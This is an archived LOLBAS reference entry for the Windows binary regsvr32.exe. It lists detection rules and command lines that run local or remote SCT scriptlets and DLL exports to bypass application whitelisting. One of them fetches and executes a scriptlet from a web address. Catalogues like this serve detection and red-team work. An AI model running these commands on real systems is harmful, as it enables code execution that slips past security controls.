Regsvr32 on LOLBAS

Archived: 2026-04-05 17:34:21 UTC

.. /Regsvr32.exe

Used by Windows to register dlls

Paths:

- C:\Windows\System32\regsvr32.exe
- C:\Windows\SysWOW64\regsvr32.exe

Resources:

- https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/
- https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
- https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218.010/T1218.010.md

Acknowledgements:

- Casey Smith (@subtee)

Detections:

- Sigma: proc_creation_win_regsvr32_susp_parent.yml
- Sigma: proc_creation_win_regsvr32_susp_child_process.yml
- Sigma: proc_creation_win_regsvr32_susp_exec_path_1.yml
- Sigma: proc_creation_win_regsvr32_network_pattern.yml
- Sigma: net_connection_win_regsvr32_network_activity.yml
- Sigma: dns_query_win_regsvr32_network_activity.yml
- Sigma: proc_creation_win_regsvr32_flags_anomaly.yml
- Sigma: file_event_win_net_cli_artefact.yml
- Splunk: detect_regsvr32_application_control_bypass.yml
- Elastic: defense_evasion_suspicious_managedcode_host_process.toml
- Elastic: execution_register_server_program_connecting_to_the_internet.toml
- IOC: regsvr32.exe retrieving files from Internet
- IOC: regsvr32.exe executing scriptlet (sct) files
- IOC: DotNet CLR libraries loaded into regsvr32.exe
- IOC: DotNet CLR Usage Log - regsvr32.exe.log

AWL bypass

1. Execute the specified remote .SCT script with scrobj.dll.

```
regsvr32 /s /n /u /i:https://www.example.org/file.sct scrobj.dll
```

Use case

Execute code from remote scriptlet, bypass Application whitelisting

Privileges required

User

Operating systems

Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique

T1218.010: Regsvr32

Tags

Execute: SCT

Execute: Remote

2. Execute the specified local .SCT script with scrobj.dll.

```
regsvr32.exe /s /u /i:file.sct scrobj.dll
```

Use case

Execute code from scriptlet, bypass Application whitelisting

Privileges required

User

Operating systems

Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique

T1218.010: Regsvr32

Tags

Execute: SCT

Execute

1. Execute the specified remote .SCT script with scrobj.dll.

```
regsvr32 /s /n /u /i:https://www.example.org/file.sct scrobj.dll
```

Use case

Execute code from remote scriptlet, bypass Application whitelisting

Privileges required

User

Operating systems

Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique

T1218.010: Regsvr32

Tags

Execute: SCT

Execute: Remote

2. Execute the specified local .SCT script with scrobj.dll.

```
regsvr32.exe /s /u /i:file.sct scrobj.dll
```

Use case

Execute code from scriptlet, bypass Application whitelisting

Privileges required

User

Operating systems

Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique

T1218.010: Regsvr32

Tags

Execute: SCT

3. Execute code in a DLL. The code must be inside the exported function `DllRegisterServer`.

```
regsvr32.exe /s file.dll
```

Use case

Execute DLL file

Privileges required

User

Operating systems

Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique

T1218.010: Regsvr32

Tags

Execute: DLL

4. Execute code in a DLL. The code must be inside the exported function `DllUnRegisterServer`.

```
regsvr32.exe /u /s file.dll
```

Use case

Execute DLL file

Privileges required

User

Operating systems

Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique

T1218.010: Regsvr32

Tags

Execute: DLL
